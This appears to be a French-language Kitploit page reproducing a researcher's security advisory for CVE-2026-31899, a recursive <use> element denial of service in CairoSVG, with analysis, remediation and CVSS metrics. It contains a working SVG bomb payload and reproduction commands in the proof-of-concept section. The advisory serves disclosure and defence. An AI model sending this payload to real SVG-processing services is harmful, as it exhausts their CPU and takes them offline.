Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-31899 — CVE-2026-31899 : DoS exponentiel via l'amplification récursive de l'élément <use> dans CairoSVG (CVSS 7.5 — Élevé) | Kitploit
Outils/GitHubGitHub/snailsploit/cve-2026-31899
Analyse des VulnérabilitésExploitationSécurité WebArticles et RechercheApprentissage et Éducation
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899 : DoS exponentiel via l'amplification récursive de l'élément <use> dans CairoSVG (CVSS 7.5 — Élevé)

Voir le dépôt
il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-31899 : Déni de service exponentiel via l'amplification récursive des éléments dans CairoSVG

CVE CVSS Score Python Package CWE-400 GHSA

Mots-clés : CVE-2026-31899, CairoSVG, déni de service exponentiel, bombe SVG, élément use récursif, déni de service, amplification XML, vulnérabilité SVG Python, CWE-400, consommation incontrôlée de ressources, SVG billion laughs

Table des matières

  • Aperçu
  • Détails de la vulnérabilité
  • Analyse technique
  • Preuve de concept
  • Impact
  • Remédiation
  • Métriques CVSS
  • Références
  • Contact

Aperçu

Déni de service exponentiel CairoSVG (CVE-2026-31899) — Une charge utile SVG de 1 411 octets maintient le CPU à 100 % indéfiniment via l'amplification récursive des éléments .

CairoSVG (~300 000 téléchargements/semaine) est un convertisseur Python SVG vers PNG/PDF très utilisé. La fonction use() dans cairosvg/defs.py traite récursivement les éléments sans aucune limite de profondeur ni de nombre. Avec 5 niveaux d'imbrication et 10 références chacun, un petit SVG déclenche 10^5 = 100 000 appels de rendu — une variante SVG du « billion laughs ».

Découvert par : Kai Aizen — SnailSploit Publié : 13 mars 2026 Score CVSS : 7,5 (Élevé) CWE : CWE-400 — Consommation incontrôlée de ressources Paquet : CairoSVG (PyPI) Type d'attaque : Déni de service exponentiel Privilèges requis : Aucun (non authentifié)

Détails de la vulnérabilité

Description

La fonction use() dans cairosvg/defs.py (ligne ~335) résout récursivement les éléments qui référencent d'autres éléments . Il n'y a ni limite de profondeur de récursion ni budget total d'éléments. Un attaquant peut concevoir un petit SVG où chaque couche référence la couche précédente N fois, produisant O(N^profondeur) appels de rendu à partir d'une entrée O(profondeur).

Caractéristiques clés

  • Facteur d'amplification : O(10^N) appels de rendu à partir de O(N) lignes d'entrée
  • Profil mémoire : Plat ~43 Mo — aucun kill OOM, le processus ne se termine jamais naturellement
  • Profil CPU : 100 % d'un seul cœur saturé indéfiniment
  • Taille de la charge utile : 1 411 octets

Versions concernées

  • Vulnérables : Toutes les versions < 2.9.0
  • Corrigées : Version 2.9.0 et ultérieures

Analyse technique

La vulnérabilité existe car :

  1. La fonction use() dans defs.py traite chaque élément en recherchant sa cible xlink:href
  2. Si la cible est elle-même un groupe contenant des éléments , ceux-ci sont développés récursivement
  3. Aucun compteur de profondeur ni budget d'éléments n'est appliqué
  4. Chaque niveau multiplie le travail par le facteur de ramification (par exemple, 10× par niveau)

Avec 5 niveaux et un facteur de ramification de 10 :

root@kitploit:~
Level 0: 1 element (root <use>)
Level 1: 10 elements
Level 2: 100 elements
Level 3: 1,000 elements
Level 4: 10,000 elements
Level 5: 100,000 render calls

Total : 111 111 appels de rendu à partir d'une entrée de 1 411 octets.

Preuve de concept

Charge utile SVG poc.svg)

root@kitploit:~
<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Reproduction

Méthode 1 — Ligne de commande :

root@kitploit:~
timeout 10 cairosvg poc.svg -o test.png
# Expected: timeout kills the process after 10 seconds (it never completes)

Méthode 2 — Python :

root@kitploit:~
import cairosvg
import signal

signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

Impact

Tout service qui accepte une entrée SVG et utilise CairoSVG pour le traitement est vulnérable :

Surface d'attaqueExemple
Génération de vignettes

Une seule requête avec une charge utile de 1,4 Ko saturera le thread de traitement indéfiniment tout en consommant un minimum de mémoire (aucun kill OOM pour vous sauver).

Remédiation

Correctif immédiat

Mettez à niveau CairoSVG vers la version 2.9.0 ou ultérieure :

root@kitploit:~
pip install --upgrade CairoSVG>=2.9.0

Défense en profondeur

  • Définissez des délais d'expiration de traitement sur tout point de terminaison de conversion SVG
  • Implémentez des limites de taille d'entrée sur les téléversements SVG
  • Envisagez de sandboxer le traitement SVG dans des workers isolés avec des limites de temps CPU

Métriques CVSS v3.1

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Chronologie

DateÉvénement
2026-03-09CVE réservé
2026-03-13Avis de sécurité publié (GHSA-f38f-5xpm-9r7c)
2026-03-13CairoSVG 2.9.0 publié avec le correctif

Références

  • GHSA-f38f-5xpm-9r7c
  • NVD — CVE-2026-31899
  • CairoSVG sur PyPI
  • CWE-400 : Consommation incontrôlée de ressources
  • Commit de correctif

Contact

Kai Aizen (SnailSploit)

  • Web : snailsploit.com
  • GitHub : @SnailSploit
  • LinkedIn : /in/kaiaizen

⚠️ Avertissement : Ce dépôt est destiné uniquement à des fins éducatives et de recherche en sécurité autorisée. La preuve de concept est fournie pour aider les défenseurs à valider leur exposition. Utilisez-la de manière responsable.


📚 Documentation et auteur

L'analyse complète, la méthodologie et les recherches associées de ce projet se trouvent sur :

https://snailsploit.com/cves

Créé par Kai Aizen — chercheur indépendant en sécurité offensive.

snailsploit.com · Recherche · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter

Même attaque. Substrat différent.

Télécharger l’outil
Téléversement SVG → le serveur convertit en PNG
Génération de PDFSVG intégré dans un document → CairoSVG effectue le rendu
Traitement d'avatars/imagesImages de profil SVG téléversées par l'utilisateur
Rendu de rapportsGraphiques SVG dans des rapports automatisés
Pipelines CI/CDRessources SVG traitées pendant le build
MétriqueValeur
Vecteur d'attaqueRéseau (AV:N)
Complexité d'attaqueFaible (AC:L)
Privilèges requisAucun (PR:N)
Interaction utilisateurAucune (UI:N)
PérimètreInchangé (S:U)
ConfidentialitéAucune (C:N)
IntégritéAucune (I:N)
DisponibilitéÉlevée (A:H)